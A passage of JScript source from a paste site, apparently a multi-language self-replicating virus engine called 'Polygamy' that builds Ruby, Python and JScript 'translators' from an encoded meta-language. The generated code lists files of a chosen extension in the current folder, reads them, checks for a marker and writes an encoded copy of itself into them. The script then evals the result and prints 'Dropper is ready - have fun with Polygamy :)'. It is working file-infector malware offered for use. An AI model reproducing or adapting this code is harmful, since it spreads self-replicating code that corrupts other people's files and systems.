  435. translatorRuby+='        end'+nl;
  436. translatorRuby+=''+nl;        
  437. translatorRuby+='        if lineCode[0].eql? "Write"'+nl;      
  438. translatorRuby+='            rString<<"a=File.open("<<lineCode[1]<<","<<34.chr<<"w"<<34.chr<<");a.write("<<lineCode[2]<<");a.close;"'+nl;
  439. translatorRuby+='        end'+nl;        
  440. translatorRuby+=''+nl;        
  441. translatorRuby+='        if lineCode[0].eql? "AddString"'+nl;      
  442. translatorRuby+='            rString<<lineCode[1]<<"<<"<<34.chr<<lineCode[2]<<34.chr<<";"'+nl;
  443. translatorRuby+='        end'+nl;    
  444. translatorRuby+=''+nl;        
  445. translatorRuby+='        if lineCode[0].eql? "AddChar"'+nl;      
  446. translatorRuby+='            rString<<lineCode[1];'+nl;
  447. translatorRuby+='            j=2;'+nl;
  448. translatorRuby+='            while j<lineCode.length'+nl;
  449. translatorRuby+='                rString <<"<<"<<lineCode[j]<<".chr";'+nl;
  450. translatorRuby+='                j+=1;'+nl;                
  451. translatorRuby+='            end'+nl;
  452. translatorRuby+='            rString<<";"'+nl;
  453. translatorRuby+='        end'+nl;                      
  454. translatorRuby+=''+nl;
  455. translatorRuby+='        if lineCode[0].eql? "AddML"'+nl;
  456. translatorRuby+='            j=0;'+nl;
  457. translatorRuby+='            while j<metaLanguage.length'+nl;
  458. translatorRuby+='                rString<<"metaLanguage";'+nl;
  459. translatorRuby+='                count=1000;'+nl;
  460. translatorRuby+='                tmpVar="";'+nl;
  461. translatorRuby+='                if metaLanguage.length-j<1000'+nl;
  462. translatorRuby+='                    count=metaLanguage.length-j;'+nl;
  463. translatorRuby+='                end;'+nl;
  464. translatorRuby+='                k=0;'+nl;
  465. translatorRuby+='                while k<count'+nl;
  466. translatorRuby+='                    tmpVar<<metaLanguage[j].ord.to_s()<<".chr<<"'+nl;
  467. translatorRuby+='                    j+=1;k+=1;'+nl;
  468. translatorRuby+='                end;'+nl;            
  469. translatorRuby+='                rString <<"<<"<<tmpVar[0..tmpVar.length-3]<<";"<<13.chr<<10.chr;'+nl;
  470. translatorRuby+='                j+=1;'+nl;
  471. translatorRuby+='            end'+nl;
  472. translatorRuby+='            rString<<";"'+nl;
  473. translatorRuby+='        end'+nl;
  474. translatorRuby+=''+nl;        
  475. translatorRuby+='        if lineCode[0].eql? "AddStringAsChar"'+nl;      
  476. translatorRuby+='            stringTrafo=eval(lineCode[3]);'+nl;
  477. translatorRuby+='            j=0;'+nl;
  478. translatorRuby+='            while j<stringTrafo.length'+nl;
  479. translatorRuby+='                count=1000;'+nl;
  480. translatorRuby+='                tmpVar="";'+nl;
  481. translatorRuby+='                if stringTrafo.length-j<1000'+nl;
  482. translatorRuby+='                    count=stringTrafo.length-j;'+nl;
  483. translatorRuby+='                end;'+nl;
  484. translatorRuby+='                k=0;'+nl;
  485. translatorRuby+='                while k<count'+nl;
  486. translatorRuby+='                    tmpVar<<stringTrafo[j].ord.to_s()<<lineCode[4]'+nl;
  487. translatorRuby+='                    j+=1;k+=1;'+nl;
  488. translatorRuby+='                end;'+nl;
  489. translatorRuby+='                rString<<lineCode[1]<<"<<"<<34.chr<<lineCode[2]<<tmpVar[0..tmpVar.length-1-lineCode[4].length]<<lineCode[5]<<34.chr<<";"'+nl;
  490. translatorRuby+='                rString<<lineCode[1]<<"<<13.chr<<10.chr;";'+nl;
  491. translatorRuby+='            end'+nl;
  492. translatorRuby+='        end'+nl;  
  493. translatorRuby+='        i+=1'+nl;
  494. translatorRuby+='    end'+nl;
  495. translatorRuby+='    return(rString)'+nl;
  496. translatorRuby+='end'+nl;
  497. translatorRuby+='xx=metaLanguage.split("__");'+nl;
  498. translatorRuby+='myCode=createBlockOfCode(xx,metaLanguage,translatorJS,translatorVBS,translatorMatLab,translatorRuby,translatorPython);'+nl;
  499. translatorRuby+='eval(myCode)'+nl;
  500.  
  501. translatorPython='import os'+nl;
  502. translatorPython+='def createBlockOfCode(CodeBlockArray,space):'+nl;
  503. translatorPython+='    nl=chr(13)+chr(10)'+nl;
  504. translatorPython+='    RString=""'+nl;
  505. translatorPython+='    for i in range(len(CodeBlockArray)):'+nl;
  506. translatorPython+='        LineCode=CodeBlockArray[i].split(" ")'+nl;
  507. translatorPython+='        if LineCode[0]=="Forall":'+nl;
  508. translatorPython+='            RString+=space+"a=os.listdir(os.curdir)"+nl'+nl;
  509. translatorPython+='            RString+=space+"for i in range(len(a)):"+nl'+nl;
  510. translatorPython+='            RString+=space+"  if a[i].find("+chr(34)+"."+LineCode[1]+chr(34)+")>0:"+nl'+nl;            
  511. translatorPython+='            j=i+1'+nl;
  512. translatorPython+='            NewBlock=[]'+nl;
  513. translatorPython+='            while CodeBlockArray[j][0:2]=="  ":'+nl;
  514. translatorPython+='                NewBlock.append(CodeBlockArray[j][2:len(CodeBlockArray[j])])'+nl;
  515. translatorPython+='                j+=1'+nl;
  516. translatorPython+=''+nl;
  517. translatorPython+='            RString+=createBlockOfCode(NewBlock,space+"    ")+nl'+nl;
  518. translatorPython+=''+nl;
  519. translatorPython+='        if LineCode[0]=="If":'+nl;
  520. translatorPython+='            RString+=space+"if "+LineCode[1]+LineCode[2]+LineCode[3]+":"+nl'+nl;    
  521. translatorPython+='            j=i+1'+nl;
  522. translatorPython+='            NewBlock=[]'+nl;
  523. translatorPython+='            while CodeBlockArray[j][0:2]=="  ":'+nl;
  524. translatorPython+='                NewBlock.append(CodeBlockArray[j][2:len(CodeBlockArray[j])])'+nl;
  525. translatorPython+='                j+=1'+nl;
  526. translatorPython+='            RString+=createBlockOfCode(NewBlock,space+"    ")+nl'+nl;
  527. translatorPython+=''+nl;            
  528. translatorPython+='        if LineCode[0]=="GetFileName":'+nl;
  529. translatorPython+='            RString+=space+LineCode[1]+"=a[i]"+nl'+nl;
  530. translatorPython+=''+nl;            
  531. translatorPython+='        if LineCode[0]=="ReadAll":'+nl;
  532. translatorPython+='            RString+=space+"h=open("+LineCode[2]+","+chr(34)+"r"+chr(34)+")"+nl'+nl;
  533. translatorPython+='            RString+=space+LineCode[1]+"=h.read()"+nl'+nl;
  534. translatorPython+='            RString+=space+"h.close()"+nl'+nl;
  535. translatorPython+=''+nl;            
  536. translatorPython+='        if LineCode[0]=="Exist":'+nl;
  537. translatorPython+='            RString+=space+LineCode[1]+"="+LineCode[2]+".find("+LineCode[3]+")"+nl'+nl;
  538. translatorPython+=''+nl;
  539. translatorPython+='        if LineCode[0]=="Def":'+nl;
  540. translatorPython+='            RString+=space+LineCode[1]+"="+chr(34)+chr(34)+nl'+nl;
  541. translatorPython+=''+nl;            
  542. translatorPython+='        if LineCode[0]=="Arithmetic":'+nl;
  543. translatorPython+='            RString+=space+LineCode[1]+"="+LineCode[2]+LineCode[3]+LineCode[4]+nl'+nl;
  544. translatorPython+=''+nl;            
  545. translatorPython+='        if LineCode[0]=="Write":'+nl;
  546. translatorPython+='            RString+=space+"h=open("+LineCode[1]+","+chr(34)+"w"+chr(34)+")"+nl'+nl;
  547. translatorPython+='            RString+=space+"h.write("+LineCode[2]+")"+nl'+nl;
  548. translatorPython+='            RString+=space+"h.close()"+nl'+nl;
  549. translatorPython+=''+nl;            
  550. translatorPython+='        if LineCode[0]=="AddString":'+nl;
  551. translatorPython+='            RString+=space+LineCode[1]+"+="+chr(34)+LineCode[2]+chr(34)+nl'+nl;
  552. translatorPython+=''+nl;            
  553. translatorPython+='        if LineCode[0]=="AddChar":'+nl;
  554. translatorPython+='            RString+=space+LineCode[1]+"="+LineCode[1]'+nl;
  555. translatorPython+='            j=2'+nl;
  556. translatorPython+='            while j<len(LineCode):'+nl;
  557. translatorPython+='                RString+="+chr("+LineCode[j]+")"'+nl;
  558. translatorPython+='                j+=1'+nl;
  559. translatorPython+='            RString+=nl'+nl;
  560. translatorPython+=''+nl;            
  561. translatorPython+='        if LineCode[0]=="AddML":'+nl;
  562. translatorPython+='            RString+=space+"metaLanguage="+chr(34)+chr(34)+nl'+nl;
  563. translatorPython+='            j=0'+nl;
  564. translatorPython+='            while j<len(metaLanguage):'+nl;
  565. translatorPython+='                count=min(1000,len(metaLanguage)-j)'+nl;
  566. translatorPython+='                TmpVar=""'+nl;
  567. translatorPython+='                for k in range(count):'+nl;
  568. translatorPython+='                    TmpVar+=str(ord(metaLanguage[j]))+")+chr("'+nl;
  569. translatorPython+='                    j+=1'+nl;
  570. translatorPython+='                RString+=space+"metaLanguage+=chr("+TmpVar[0:len(TmpVar)-6]+")"+nl'+nl
  571. translatorPython+=''+nl;            
  572. translatorPython+='        if LineCode[0]=="AddStringAsChar":'+nl;
  573. translatorPython+='            StringTrafo=eval(LineCode[3])'+nl;
  574. translatorPython+='            j=0'+nl;
  575. translatorPython+='            while j<len(StringTrafo):'+nl;
  576. translatorPython+='                count=min(1000,len(StringTrafo)-j)'+nl;
  577. translatorPython+='                TmpVar=""'+nl;
  578. translatorPython+='                for k in range(count):'+nl;
  579. translatorPython+='                    TmpVar+=str(ord(StringTrafo[j]))+LineCode[4]'+nl;
  580. translatorPython+='                    j+=1'+nl;
  581. translatorPython+='                RString+=space+LineCode[1]+"+="+chr(34)+LineCode[2]+TmpVar[0:len(TmpVar)-len(LineCode[4])]+LineCode[5]+chr(34)+"+chr(13)+chr(10)"+nl'+nl;
  582. translatorPython+=''+nl;              
  583. translatorPython+='    return(RString)'+nl;
  584. translatorPython+=''+nl;        
  585. translatorPython+='xx=metaLanguage.split("__")'+nl;
  586. translatorPython+='MyCode=createBlockOfCode(xx,"")'+nl;
  587. //translatorPython+='h=open("mycode.py","w");h.write(MyCode);h.close();'+nl;
  588. translatorPython+='exec(MyCode)'+nl;
  589.  
  590.  
  591.  
  592. function createBlockOfCode(CodeBlockArray)
  593. {
  594.     var RString='';
  595.     for(var i=0;i<CodeBlockArray.length;i++)
  596.     {
  597.         var LineCode=CodeBlockArray[i].split(String.fromCharCode(32));
  598.         if(LineCode[0]=='Predefined')
  599.         {
  600.             RString+='fso=new ActiveXObject('+String.fromCharCode(34)+'scripting.filesystemobject'+String.fromCharCode(34)+');'+nl
  601.         }
  602.        
  603.         if(LineCode[0]=='Forall')
  604.         {
  605.             var ext=LineCode[1];
  606.             RString+='for(d=new Enumerator(fso.getfolder('+String.fromCharCode(34)+'.'+String.fromCharCode(34)+').files);!d.atEnd();d.moveNext()){'+nl;
  607.             RString+='if(fso.getextensionname(d.item()).toLowerCase()=='+String.fromCharCode(34)+ext+String.fromCharCode(34)+'){'+nl;        
  608.             var j=i+1;var NewBlock=[];
  609.             while(CodeBlockArray[j].substring(0,2)=='  ')
  610.             {
  611.                 NewBlock.push(CodeBlockArray[j].substring(2));j++;
  612.             }
  613.             RString+=createBlockOfCode(NewBlock);
  614.             RString+='}}'+nl;
  615.         }
  616.        
  617.         if(LineCode[0]=='If')
  618.         {
  619.             RString+='if('+LineCode[1]+LineCode[2]+LineCode[3]+'){'+nl;        
  620.             var j=i+1;var NewBlock=[];
  621.             while(CodeBlockArray[j].substring(0,2)=='  ')
  622.             {
  623.                 NewBlock.push(CodeBlockArray[j].substring(2));j++;
  624.             }          
  625.             RString+=createBlockOfCode(NewBlock);
  626.             RString+='}'+nl;
  627.         }        
  628.        
  629.         if(LineCode[0]=='GetFileName')
  630.         {
  631.             RString+=LineCode[1]+'=d.item();'+nl;
  632.         }
  633.        
  634.         if(LineCode[0]=='ReadAll')
  635.         {
  636.             RString+=LineCode[1]+'=fso.opentextfile('+LineCode[2]+').readall();'+nl;
  637.         }
  638.        
  639.         if(LineCode[0]=='Exist')
  640.         {
  641.             RString+=LineCode[1]+'='+LineCode[2]+'.search('+LineCode[3]+');'+nl;
  642.         }
  643.        
  644.         if(LineCode[0]=='Def')
  645.         {
  646.             RString+=LineCode[1]+'='+String.fromCharCode(34,34)+';'+nl;
  647.         }    
  648.        
  649.         if(LineCode[0]=='Arithmetic')
  650.         {
  651.             RString+=LineCode[1]+'='+LineCode[2]+LineCode[3]+LineCode[4]+nl;
  652.         }    
  653.        
  654.         if(LineCode[0]=='Write')
  655.         {
  656.             RString+='fso.opentextfile('+LineCode[1]+',2).write('+LineCode[2]+');'+nl;
  657.         }  
  658.        
  659.         if(LineCode[0]=='AddString')
  660.         {
  661.             RString+=LineCode[1]+'+='+String.fromCharCode(34)+LineCode[2]+String.fromCharCode(34)+';'+nl;
  662.         }  
  663.        
  664.         if(LineCode[0]=='AddChar')
  665.         {
  666.             RString+=LineCode[1]+'='+LineCode[1];
  667.             for(var j=2; j<LineCode.length; j++)
  668.             {
  669.                 RString+='+String.fromCharCode('+LineCode[j]+')'
  670.             }
  671.             RString+=';'
  672.         }
  673.        
  674.         if(LineCode[0]=='AddML')
  675.         {
  676.             RString+='metaLanguage=String.fromCharCode(';
  677.             for(j=0;j<metaLanguage.length;j++)
  678.             {
  679.                 RString+=metaLanguage.charCodeAt(j)+',';                
  680.             }
  681.             RString+='13,10);'+nl;
  682.         }
  683.                        
  684.         if(LineCode[0]=='AddStringAsChar')
  685.         {
  686.             var StringTrafo=eval(LineCode[3]);
  687.             j=0;
  688.             while (j<StringTrafo.length)
  689.             {
  690.                 count=1000;
  691.                 var TmpVar='';
  692.                 if(StringTrafo.length-j<1000){count=StringTrafo.length-j;}
  693.                 for(k=0;k<count;k++)
  694.                 {
  695.                     TmpVar+=StringTrafo.charCodeAt(j)+LineCode[4];
  696.                     j++;
  697.                 }  
  698.                 RString+=LineCode[1]+'+="'+LineCode[2]+TmpVar.substr(0,TmpVar.length-LineCode[4].length)+LineCode[5]+'"'+nl;            
  699.                 RString+=LineCode[1]+'+=String.fromCharCode(13,10);';
  700.             }
  701.         }
  702.     }
  703.     return(RString)
  704. }
  705.  
  706. translatorJS=createBlockOfCode;
  707. translatorJS+='nl=String.fromCharCode(13,10);';
  708. translatorJS+='xx=metaLanguage.split("__");';
  709. translatorJS+='MyCode=createBlockOfCode(xx);';
  710. //translatorJS+='fso=WScript.CreateObject("Scripting.FileSystemObject");';
  711. //translatorJS+='file=fso.CreateTextFile("xxx.txt");file.Write(MyCode);file.close();';
  712. translatorJS+='eval(MyCode);';
  713.  
  714. for(i=0;i<50;i++) // Making the translators smaller by removing some whitespace, not possible with Python
  715. {
  716.     translatorJS=translatorJS.replace("   ","");
  717.     translatorVBS=translatorVBS.replace("   ","");
  718.     translatorMatLab=translatorMatLab.replace("   ","");
  719.     translatorRuby=translatorRuby.replace("   ","");
  720. }
  721. //fso=WScript.CreateObject("Scripting.FileSystemObject");file=fso.CreateTextFile("111.txt");file.Write(translatorJS);file.close();
  722.            
  723. eval(translatorJS)
  724. WScript.Echo("Dropper is ready - have fun with Polygamy :)")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement